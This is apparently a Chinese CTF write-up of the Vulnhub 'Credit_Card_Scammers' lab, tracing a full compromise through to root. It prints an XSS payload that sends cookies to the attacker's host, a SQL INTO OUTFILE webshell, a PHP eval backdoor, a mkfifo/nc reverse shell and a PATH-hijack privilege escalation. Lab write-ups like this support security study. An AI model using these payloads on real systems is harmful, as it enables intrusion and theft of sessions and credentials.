Vulnhub之Credit_Card_Scammers靶场渗透
前言
一次“夺旗”练习,涵盖了许多不同的技巧。
背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达。我们发现了一个诈骗网站,我们认为该网站正在从受害者那里获取信用卡信息。您的目标是通过获得root访问权来删除欺诈网站,并识别其服务器上的3个标志。我们的情报显示,骗子正在积极审查所有订单,以便快速利用信用卡信息。(本次靶场涵盖了SQL写入恶意文件漏洞配合远程命令执行、XSS漏洞)
靶场环境
kali: 192.168.31.28
Credit_Card_Scammers: 192.168.31.119
靶机环境下载链接:https://www.vulnhub.com/entry/credit-card-scammers-1,479/
环境搭建
首先导入我们的虚拟机,我们这里使用的virtualbox搭建的,首先点击管理,点击导入虚拟电脑,,选择你下载的靶机,导入后修改网络设置(这里方便演示我使用了桥接),导入后开启虚拟机,出现一个登陆界面说明成功



靶机渗透
nmap 192.168.31.0/24 //查找存活主机

查看到有一个主机192.168.31.119存活,进行详细扫描检测
nmap 192.168.31.119 -sT -O //查看主机端口信息及操作系统和版本
发现靶机开放了22 80 443 端口,但是9090是被关闭了,不清楚是否有用处,暂时放一边,我们先尝试用80去访问,22和443说不定后面还有用,也是先放一边。访问到网页发现是一个医疗用品销售网站,还发现了一个buynow.php页面,然后就没有其他的了


毫无头绪的时候,使用目录扫描工具进行检测,意外发现了一个后台登录点
python dirsearch.py -u http://192.168.31.119/ -e*
查看后台登录页面,但是要账号密码登录,弱口令爆破不现实,采取其他方法尝试,这里看到框,想到xss,尝试xss测试是否有漏洞(http://dnslog.cn)
"<script src="http://stgw1q.dnslog.cn">alert('xss')</script>" //用dnslog.cn测试是否存在漏洞,dnslog.cn有回显说明有漏洞


构造xss获取index.html访问使用的cookie
"<script src="http://192.168.31.28/index.html"></script>"
"<script>new Image().src="http://192.168.31.28/?co="+document.cookie;</script>"
此处的ip是kali的ip,注意所有框都要插入代码,提交查询前要在kali开启apache2,提交后查看kali中的apache2日志
cat /var/log/apache2/access.log


拿到cookie,去index.html,打开开发者工具(F12),将获取到的cookie替换掉原来的cookie,再访问http://192.168.31.119/_admin/dist就是进入后台了


查看后台有没有什么注入点,找了半天就只有这个框,下面显示说可以执行SQL命令

但是执行了一堆SQL命令没啥用,没有任何回显,决定尝试一下写入文件,不执行不知道,一执行吓一跳,发现可以利用SQL写入任意文件,代码如下:
select "<?php system($_GET['cmd']);?>" into outfile "/var/www/html/shell.php"
//写入一个可以执行系统命令的system函数,参数为cmd,传参方式为GET
写入之后尝试访问shell.php查看是否写入成功

既然已经可以配合命令执行,我们直接写入一句话木马,蚁剑连接靶机后台拿到webshell
echo '<?php @eval($_POST["cmd"]);?>' > cmd.php

蚁剑连接成功,尝试nc连接,但是发现nc连接不了,执行不同的nc连接命令都不行


最后我想到一个连接方法,就是利用在/var/www/html下新建一个php文件,使用一开始nmap检测到的443端口作为nc监听的端口,在tmp建立一个临时文件作为连接文件
<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.28 443 >/tmp/f");?>

写入且保存成功后,kali开启监听443端口,然后我也访问新建的php,我的是66.php,所以我直接访问http://192.168.31.28/66.php,发现反弹成功

尝试sudo -l 查看是否可以不需要密码的登录,发现sudo -l也是无济于事

查看/home,一般情况用户的目录都会在/home下,所以我们找到home目录,查看有什么可用的用户存在,在此发现了两个用户,一个是admin,一个是moneygrabber

四处逛了逛发现没有什么存储密码的地方,矛头指向了数据库,在settings中看到了数据库配置文件config.php,给了账号密码,直接连接mysql,但是我这里有个bug,数据库一直连接不上,只能采用别人找到的用户和密钥。
admin:$2y$12$A4jgwtWB73.TAMIeplx0T.5oG/mnHR1gTDa8cmtTIvW3zTjdSjdjC
moneygrabber:$2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogOAOYXowC
注:这里使用john --show pass.txt前必须先用john pass.txt爆破,如果显示了三串代码提示说是编码UTF-8,说明密钥的哈希值已经存在,直接就--show
将这两个用户和密钥,编写一个txt文本,随后使用john进行识别密码
john --show pass.txt
发现是hash加密的密文



拿到密码直接去切换用户,su moneygrabber 密码是 delta1

cd ~ 到主目录,查看ls -l 发现了两个文件,一个是flag,另一个是backup.sh,查看是一个执行tar的文件(cat backup.sh)

使用find / -perm -4000 2>/dev/null 查看可执行权限,发现有一个/usr/bin/backup的可执行权限,我们可以尝试用它来提权

strings /usr/bin/backup //strings命令在对象文件或二进制文件中查找可打印的字符串

由于在backup.sh中没有标明可执行的文件路径,也就是tar的路径,所以我们可以将他修改为我们想让他取得命令执行路径,这里将命令执行路径修改为 /tmp ,然后我们在主目录执行backup.sh(./backup.sh),执行脚本后会在主目录下形成一个文件,mysql.tar,但是他还需要新建一个tar文件,所以这里会报错


修改命令执行的路径
echo $PATH //查看当前命令执行路径
export PATH=/tmp //将命令执行路径修改为/tmp

此处是在/tmp下新建一个tar文件,因为.backup.sh需要有一个tar文件来写入
cd /tmp //进入/tmp目录
/usr/bin/echo '/bin/bash' > tar //使用/usr/bin/echo执行将/bin/bash写入tar文件
/usr/bin/ls //查看是否生成成功
/usr/bin/chmod 777 tar //把tar权限改为777(所有用户可读写执行)
/usr/bin/backup //调用./backup.sh
/usr/bin/id //查看是否提权成功
到此就提权成功

Vulnhub之Credit_Card_Scammers靶场渗透的更多相关文章
- VulnHub靶场渗透之:Gigachad
环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...
- Vulnhub靶场渗透练习(三) bulldog
拿到靶场后先对ip进行扫描 获取ip 和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...
- Vulnhub靶场渗透练习(二) Billu_b0x
运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...
- Vulnhub靶场渗透练习(一) Breach1.0
打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...
- Vulnhub靶场渗透练习(五) Lazysysadmin
第一步扫描ip nmap 192.168.18.* 获取ip 192.168.18.147 扫描端口 root@kali:~# masscan - --rate= Starting massc ...
- Vulnhub靶场渗透练习(四) Acid
利用namp 先进行扫描获取ip nmap 192.168.18.* 获取ip 没发现80端口 主机存活 猜测可以是个2000以后的端口 nmap -p1-65533 192.168.18.14 ...
- 靶场渗透CH4INRULZ_v1.0.1
最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...
- vulnhub靶机Tr0ll:1渗透笔记
Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...
- vulnhub靶机djinn:1渗透笔记
djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...
- webug3.0靶场渗透基础Day_1
第一关: 最简单的get注入 单引号报错 http://192.168.129.136/pentest/test/sqli/sqltamp.php?gid=1' order by 5 --+ ...
随机推荐
- POJ3107 Godfather (树的重心)
又是一道模板题...... 1 #include<cstdio> 2 #include<iostream> 3 #include<cstring> 4 using ...
- bat批处理命令语法总结
::1. 关闭回显表示不显示命令本身只显示输出部分 @echo off ::2. 设置变量注意等号间不能有空格 set num=10 ::3. 使用变量 echo %num% ::4. call 调用 ...
- 测试Thread中的常用方法:
测试Thread中的常用方法:start():启动当前线程:调用当前线程的run()run(): 通常需要重写Thread类中的此方法,将创建的线程要执行的操作声明在此方法中currentThread ...
- 一天五道Java面试题----第七天(mysql索引结构,各自的优劣--------->事务的基本特性和隔离级别)
这里是参考B站上的大佬做的面试题笔记.大家也可以去看视频讲解!!! 文章目录 1 .mysql索引结构,各自的优劣 2 .索引的设计原则 3 .mysql锁的类型有哪些 4 .mysql执行计划怎么看 ...
- 设计模式常用的UML图------类图
关系 UML将事物之间的联系归纳为6种,对应响应的图形 关联 定义:表示拥有的关系,具有方向性,一个类单向访问一个类,为单向关联.两个类可以相互访问,为双向关联. 聚合 定义:整体与部分的关系. 组合 ...
- jquery的toggle()函数,显示/隐藏交替
<!DOCTYPE html> <html lang="en"> <head> <script src="jquery.js&q ...
- 中小型企业综合项目(Nginx+LVS+Tomcat+MGR+Nexus+NFS)
Nginx+Tomcat+Mysql综合实验 1.环境准备 服务器 IP地址 作用 系统版本 数据库服务器1 192.168.100.111 MGR集群数据库master节点 Rocky8.6 数据库 ...
- Cypher 笔记
添加 // 创建节点 CREATE (n:MOVIE{name:"电影"}) // 创建节点 create (n:Test) set n.name="Test" ...
- ThreadLocal的使用及原理解析
# 基本使用 JDK的lang包下提供了ThreadLocal类,我们可以使用它创建一个线程变量,线程变量的作用域仅在于此线程内.<br />用2个示例来展示一下ThreadLocal的用 ...
- mysql网上知识
MySQL学习笔记 登录和退出MySQL服务器 # 登录MySQL $ mysql -u root -p12345612 # 退出MySQL数据库服务器 exit; 基本语法 -- 显示所有数据库 s ...

